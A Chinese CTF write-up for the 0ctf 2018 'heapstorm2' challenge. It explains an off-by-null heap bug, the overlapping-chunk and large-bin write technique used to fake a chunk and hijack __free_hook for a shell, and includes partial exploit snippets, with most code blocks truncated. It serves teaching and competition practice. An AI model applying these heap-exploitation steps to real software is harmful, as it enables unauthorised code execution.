题目链接
https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2
前置知识
- mallopt
int mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位。
M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_MXFAST设置为0,禁止使用fastbins
源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68102
103
104
5137 int __libc_mallopt (int param_number, int value)
5138 {
5139 mstate av = &main_arena;
5140 int res = 1;
5141
5142 if (__malloc_initialized < 0)
5143 ptmalloc_init ();
5144 __libc_lock_lock (av->mutex);
5145
5146 LIBC_PROBE (memory_mallopt, 2, param_number, value);
5147
5148 /* We must consolidate main arena before changing max_fast
5149 (see definition of set_max_fast). */
5150 malloc_consolidate (av);
5151
5152 switch (param_number)
5153 {
5154 case M_MXFAST:
5155 if (value >= 0 && value <= MAX_FAST_SIZE)
5156 {
5157 LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
5158 set_max_fast (value);
5159 }
5160 else
5161 res = 0;
5162 break;
5163
5164 case M_TRIM_THRESHOLD:
5165 do_set_trim_threshold (value);
5166 break;
5167
5168 case M_TOP_PAD:
5169 do_set_top_pad (value);
5170 break;
5171
5172 case M_MMAP_THRESHOLD:
5173 res = do_set_mmap_threshold (value);
5174 break;
5175
5176 case M_MMAP_MAX:
5177 do_set_mmaps_max (value);
5178 break;
5179
5180 case M_CHECK_ACTION:
5181 do_set_mallopt_check (value);
5182 break;
5183
5184 case M_PERTURB:
5185 do_set_perturb_byte (value);
5186 break;
5187
5188 case M_ARENA_TEST:
5189 if (value > 0)
5190 do_set_arena_test (value);
5191 break;
5192
5193 case M_ARENA_MAX:
5194 if (value > 0)
5195 do_set_arena_max (value);
5196 break;
5197 }
5198 __libc_lock_unlock (av->mutex);
5199 return res;
5200 } - 利用linux的/dev/urandom文件产生较好的随机数
https://blog.csdn.net/stpeace/article/details/458291611
2
3
4
5
6
7
8
9
10int randNum = 0;
int fd = open("/dev/urandom", O_RDONLY);
if(-1 == fd)
{
printf("error\n");
return 1;
}
read(fd, (char *)&randNum, sizeof(int));
close(fd);
分析
checksec
1 | parallels@ubuntu:~/ctf/0ctf2018/heapstorm2$ checksec heapstorm2 |
程序分析
关闭fastbin的分配
对存放堆指针和size的地方进行随机化
读入随机数前
1 | pwndbg> b *555555554000+0x0000000000000CA6 |
读入随机数后
1 | pwndbg> x /50gx 0x13370800 |
)
用如图上数字1处的随机数去覆盖后面的16个的每一行的左八个字节(堆指针)。用如图上数字2处的随机数去覆盖后面的16个的每一行的右八个字节(size)。
用图上数字3处的随机数去覆盖数字4处。
主函数
添加
更新
有off by null漏洞
删除
显示
漏洞分析
在update的时候有一个off by null。
其他
之前做堆的题都不建结构体,全靠脑补…这次建一下,让反编译出来的好看一点。
1.添加segment
2.建结构体
3.改函数参数
4.最后的修改结果
利用
shrink the chunk来overlap
前提:存在一个off-by-null漏洞(已满足)
目的:创造出overlap chunk,进而更改其他chunk中的内容
主要利用unsorted,small bin会unlink合并的特性来达到我们的目的。
1.伪造prev_size
1 | alloc(0x18) #0 |
2.free 1,于是下一个chunk的inuse和prev_size将被设置。
图示灰色的地方代表被free掉,然后触发off by null,修改1的size。
1 | free(1) |
3.将free的1再分配出来,然后再分配一块空间到原来的1中,注意大小不能刚好使得这个chunk和2相邻,否则会把2的inuse位置1,不能在后续触发unlink。
然后再free 2,就能触发unlink,然后1和7,overlap
1 | alloc(0x18) #1 |
1 | pwndbg> x /500gx 0x55f082807020 |
当free 2的时候,因为2是small bin的大小的缘故,所以会检测上一个chunk是否inused.
它会根据prev_size找到1,然后做unlink。
此时,unsortbin存放着这块大的chunk,所以下次malloc会用这一块先分配。
1 | pwndbg> unsortedbin |
可以看出通过chunk shrink,实现了overlap。
1 | alloc(0x38) #1 |
1 | 0x555555757020 FASTBIN { |
重复一遍之前的过程,再次构造overlap
1 | free(4) |
然后4和8交叠。
1 | pwndbg> x /50gx 0x555555757570 |
利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查
1 | free(2) |
free 2前
1 | pwndbg> unsortedbin |
free 2后
1 | pwndbg> unsortedbin |
将2再分配出来,这时0x5555557575c0掉链,进入large bins中,再free 2,0x555555757060再次进入unsortedbin。
1 | pwndbg> unsortedbin |
然后要fake 0x555555757060的后向指针。
1 | storage = 0x13370000 + 0x800 |
fake前
1 | pwndbg> x /20gx 0x555555757020 |
fake后
1 | pwndbg> x /20gx 0x555555757020 |
可以看出bk指针被改写。
然后fake
1 | p2 = p64(0)*4 + p64(0) + p64(0x4e1) # size |
fake前
1 | wndbg> x/20gx 0x555555757590 |
fake后
1 | pwndbg> x/20gx 0x555555757590 |
1 | try: |
当再分配一个chunk的时候,会先检查unsorted bin中有没有合适的,如果没有就把unsortbin中的chunk插入large bin中。
看源码
1 | else |
当找到插入的位置后,看源码里具体的插入操作。
注意large bin要维持两个双向链表,多了一个chunk size链表,所以要在两个链表中插入。
1 |
|
在此题中,fwd只可能是我们放入large bin的唯一一个chunk,而它的bk_nextsize和bk都是我们可以控制的(如上一步的改写)
1 | victim->bk_nextsize = fwd->bk_nextsize; |
victim就是我们要插入的堆地址。
bk_nextsize被写为0x13370800-0x20-0x18-5,那么*(0x13370800-0x20-0x18-5+0x20)=victim
1 | fwd->bk=victim; |
bk被写为0x13370800-0x20+8,那么*(0x13370800 -0x20+8 ) = victim。
当第一个chunk从unsorted bin插入到large bin之后,再到unsorted bin的下一个chunk,如果不满足分配则插入到large bin中。
而下一个chunk是我们伪造的(0x13370800-0x20)
而这个地方已经有值了,也就是我们写入的
(0x13370800-0x20-0x18-5+0x20)=0x133707e3=victim
1 | pwndbg> x/gx 0x133707e3 |
chunk的size,即0x13370800-0x20+0x8=0x133707e8,就是\x55或者\x56。
1 | # if the heap address starts with "0x56", you win |
之所以要求是\x56,因为需要满足一个检查。
1 | assert (!mem || chunk_is_mmapped (mem2chunk (mem)) || |
即chunk的mmap标志位置位。
之前我调试的时候都是打开的ASLR,现在关掉看一下,多运行几次总能有一次成功的。
去掉标志位,那么它的大小就是0x50,就满足alloc(0x48),就会返回给我们,成功返回0x13370800-0x10之后,就是传统的做法了。
leak heap,leak libc,覆盖free_book值为system
getshell
exp
1 | #!/usr/bin/env python |
log
1 | [+] Opening connection to 202.120.7.205 on port 5655: Done |
flag
参考资料
https://gist.github.com/Jackyxty/9de01a0bdfe5fb6d0b40fe066f059fa3
https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md